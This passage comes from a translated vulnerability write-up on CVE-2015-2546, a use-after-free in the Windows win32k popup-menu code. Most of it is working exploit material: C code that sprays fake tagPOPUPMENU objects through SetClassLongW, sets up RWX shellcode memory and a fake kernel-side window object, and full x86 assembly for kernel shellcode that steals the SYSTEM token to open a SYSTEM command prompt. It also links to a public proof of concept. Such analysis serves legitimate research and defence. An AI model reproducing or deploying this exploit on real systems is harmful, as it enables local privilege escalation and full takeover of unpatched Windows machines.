dwPopupFake[0xB] = (DWORD)0xdddddddd;  //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}

Exploitation code sets menu name for each common window object

Since field MENUNAME belongs to zero terminated WCHAR string format, it is necessary to set the whole buffer without zero in two continuous bytes. When setting field MENUNAME for target window objects by calling SetClassLong, the system ultimately allocates and sets UNICODE string buffer for field lpszMenuName of the window class tagCLS objects belonged to by the window objects in the kernel.

Since both the buffer pointed to by field lpszMenuName and the buffer of popup menu tagPOPUPMENU object are process quota memory blocks, the sizes of their extra memories are the same. It is just needed to make the length of MENUNAME buffers set for each window object the same as the size of tagPOPUPMENU then in normal conditions there will be always a window class object whose MENUNAME buffer would be allocated in the memory area of the previously freed root popup menu object to be the fake popup menu tagPOPUPMENU object.

In this way, since each field of the popup menu object that occupies the original positon is filled with meaningless number like 0xdddddddd, a BSOD of system would occur when function xxxMNHideNextHierarchy accesses the fields. The next step is to construct fake submenu window object and to make field spwndPrevPopup of occupied target popup menu object point to the address of fake object.

kd> dc ebx
fd602df0  dddddddd dddddddd dddddddd dddddddd  ................
fd602e00  dddddddd dddddddd dddddddd dddddddd  ................
fd602e10  dddddddd dddddddd dddddddd dddddddd  ................
fd602e20  00000000 85dde030 00070008 69707355  ....0.......Uspi
fd602e30  ff4e22c8 92662f70 0084d032 00000000  ."N.p/f.2.......
fd602e40  0023a8e4 00000000 00020910 000c0fc0  ..#.............
fd602e50  00000460 00000000 00000004 00000000  `...............
fd602e60  46340007 64667454 8779d438 87c5d970  ..4FTtfd8.y.p...

Data of each field of occupied popup menu object


Preparation of Kernel Exploitation

At the beginning of exploitation code, structure SHELLCODE is defined to hold the PID of current process and the offset of each critical field of kernel objects, the feedback variable of kernel exploitation, as well as the entry point of ShellCode function.

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL  bExploited;
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

Exploitation code defines SHELLCODE structure

Allocate a whole page size RWX memory block as a SHELLCODE object in user process at the beginning of exploitation code and initialize the fields, then copy the function code of Shellcode to the memory based from the address of field pfnWindProc.

Then a 0xb0 size block is partitioned from the back segment of the memory block to be the fake submenu window tagWND object, with a set member flag bit bServerSideWindowProc (determining whether message procedure is executed in the kernel context) as well as a message procedure field pointing to the base address of ShellCode function of SHELLCODE object. The subsequent actual kernel exploitation will be done in the kernel context through the ShellCode function here.

pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(pvShellCode, 0x1000);

ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000;                  //->state[bServerSideWindowProc]
ptagWNDFake[0x12] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc

pvShellCode->pid                     = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName    = 0x050;
pvShellCode->off_THREADINFO_ppi      = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token      = 0x0f8;
for (UINT i = 0; ; i++)
{
    if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
    {
        CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
        break;
    }
}

Exploitation code allocates and initialize SHELLCODE object

In the custom hook procedure of exploitation code, modify the assignment of field spwndNextPopup and spwndActivePopup to the address of menu window object ptagWNDFake faked just now.

dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
[...]
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup

Update the assignment of some fields of occupied popup menu object

Since there is a judgement of thread information object pointed to by target window object in function xxxSendMessageTimeout, the exploitation code needs to assign field pti of fake menu window object to the address of current thread information object, which can be done according to HMValidateHandle kernel object address leak technique and any previously created window objects. Field pti would be the clue to locate the EPROCESS linked list in the function code of kernel exploitation as well.

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;

Assignment of field pti of fake menu window object


Function Code of Kernel Exploitation

The ShellCode function code used to implement the kernel exploiation will be executed in the kernel context as the kernel-mode message procedure of the fake submenu window object. The execution of the function is triggered by sending 0x1E5 message to target submenu window object in function xxxMNHideNextHierarchy.

At the beginning of ShellCode function, we judge whether the incoming message parameter is 0x1E5, just return if not.

push    ebp;
mov     ebp, esp;
mov     eax, dword ptr[ebp + 0Ch];
cmp     eax, 01E5h;
jne     LocRETURN;

In 32-bit Windows operating system, code segment register CS always holds 0x1B. According to this feature, we judge whether the current execution context is in user-mode in ShellCode function, if so just return.

mov     ax, cs;
cmp     ax, 1Bh;
je      LocRETURN;

Backup of all the general registers to the stack is needed at present, which followed by retrieving the value of register EIP by CALL-POP technique and calculating the base address of the structure SHELLCODE stored in front of the code of ShellCode function according to the relative offset:

cld;
pushad;
call    $+5;
pop     edx;
sub     edx, 35h;

The next step is to retrieve the pointer to thread information tagTHREADINFO object from the head structure of carrier window object, and to get the pointer to process information tagPROCESSINFO object stored in thread information object. Then we get the pointer of EPROCESS object of the corresponding process from process information object. The offsets of each field are held by SHELLCODE object.

LocGetEPROCESS:
mov     ecx, dword ptr[ebp + 8];
mov     ecx, dword ptr[ecx + 8];
mov     ebx, dword ptr[edx + 08h];
mov     ecx, dword ptr[ebx + ecx];
mov     ecx, dword ptr[ecx];
mov     ebx, dword ptr[edx + 0Ch];
mov     eax, dword ptr[edx + 4];

Then find the address of EPROCESS object according to field ActiveProcessLinks and field UniqueProcessId of EPROCESS object. Since field UniqueProcessId is just followed by field ActiveProcessLinks, we can locate each UniqueProcessId field through the offset of ActiveProcessLinks held by SHELLCODE object.

push    ecx;

LocForCurrentPROCESS:
cmp     dword ptr[ebx + ecx - 4], eax;
je      LocFoundCURRENT;
mov     ecx, dword ptr[ebx + ecx];
sub     ecx, ebx;
jmp     LocForCurrentPROCESS;

LocFoundCURRENT:
mov     edi,ecx;
pop     ecx;

The next step is to continue traversing the linked list of EPROCESS objects to find the EPROCESS object of system process.

LocForSystemPROCESS:
cmp     dword ptr[ebx + ecx - 4], 4;
je      LocFoundSYSTEM;
mov     ecx, dword ptr[ebx + ecx];
sub     ecx, ebx;
jmp     LocForSystemPROCESS;

LocFoundSYSTEM:
mov     esi, ecx;

It means that both the EPROCESS objects of current process and system process are located when executing here, then the value of field Token of current process would be replaced by the one of system process.

mov     eax, dword ptr[edx + 10h];
add     esi, eax;
add     edi, eax;
lods    dword ptr[esi];
stos    dword ptr es : [edi];

At this moment while the current process has already owned and pointed to the Token object of system process, the reference count of target Token object needs a manual correction because of the extra added reference. Most of kernel objects use a structure OBJECT_HEADER as their header structures in NT executive:

kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   [...]
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

This structure is followed by the associated kernel object, which holds the kernel object from the address of its field Body. Manual increment of reference needs to modify field PointerCount.

and     eax, 0FFFFFFF8h;
add     dword ptr[eax - 18h], 2;

Most of work is done. Set filed bExploited of SHELLCODE object to feedback the user process that the exploitation is successful. Restore the values of general registers backed up previously to the registers.

mov     dword ptr[edx + 14h], 1;
popad;
xor     eax, eax;

LocRETURN:
leave;
ret     10h;

Place five int 3 instructions at the end of the function, so that the exploitation code can locate the end of the function when copying the function code.


Success of Privilege Elevation

In the custom event notification procedure xxWindowEventProc, following the calling statement of SendMessage to send WM_MOUSEMOVE message, the judgement of the kernel exploatation feedback field bExploited of SHELLCODE object is added:

if (pvShellCode->bExploited)
{
    bDoneExploit = TRUE;
}

Custom event notification procedure judges feedback variable

If the varibale has been set, the function just assigns the glbal variable bDoneExploit to TRUE. Global variable bDoneExploit is listened to be assigned by the main thread; if so, the main thread would create a new command prompt process.


Newly created process belongs to System identity

It can be observed that the newly created command prompt process has belonged to System user identity.


Postscript

Both this vulnerability and CVE-2017-0263 are use-after-free (UAF) of tagPOPUPMENU object, while the difference is just the time to exploit: the triggering condition of CVE-2017-0263 would be satisfied just after the kernel function freeing target popup menu object, but CVE-2015-2546 in this analysis needs the user process to initiatively trigger the logic to free the target popup menu object. Generally speaking, the exploitation of this vulnerability is much easier than the case of CVE-2017-0263, and the exploitation code of CVE-2017-0263 can be used for this vulnerability almost without modification. There is no kernel object that needs to be fixed here as well.

0x5 Links

Translated from my Chinese article: https://xiaodaozhi.com/exploit/122.html

[0] The proof of concept of this analysis

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2015-2546/x86.cpp

[1] FROM ANALYZING CVE-2017-0263 TO INVESTIGATING MENU MANAGEMENT COMPONENT

https://xiaodaozhi.com/exploit/117.html

[2] Kernel Attacks through User-Mode Callbacks

http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

[3] sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[4] Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege Escalation Zero-Days

https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf

[5] CVE-2015-2546:从补丁比对到Exploit

http://xlab.baidu.com/cve-2015-2546%EF%BC%9A%E4%BB%8E%E8%A1%A5%E4%B8%81%E6%AF%94%E5%AF%B9%E5%88%B0exploit/

[6] WM_MOUSEMOVE message

https://msdn.microsoft.com/en-us/library/ms645616(VS.85).aspx

文章链接: https://xiaodaozhi.com/exploit/132.html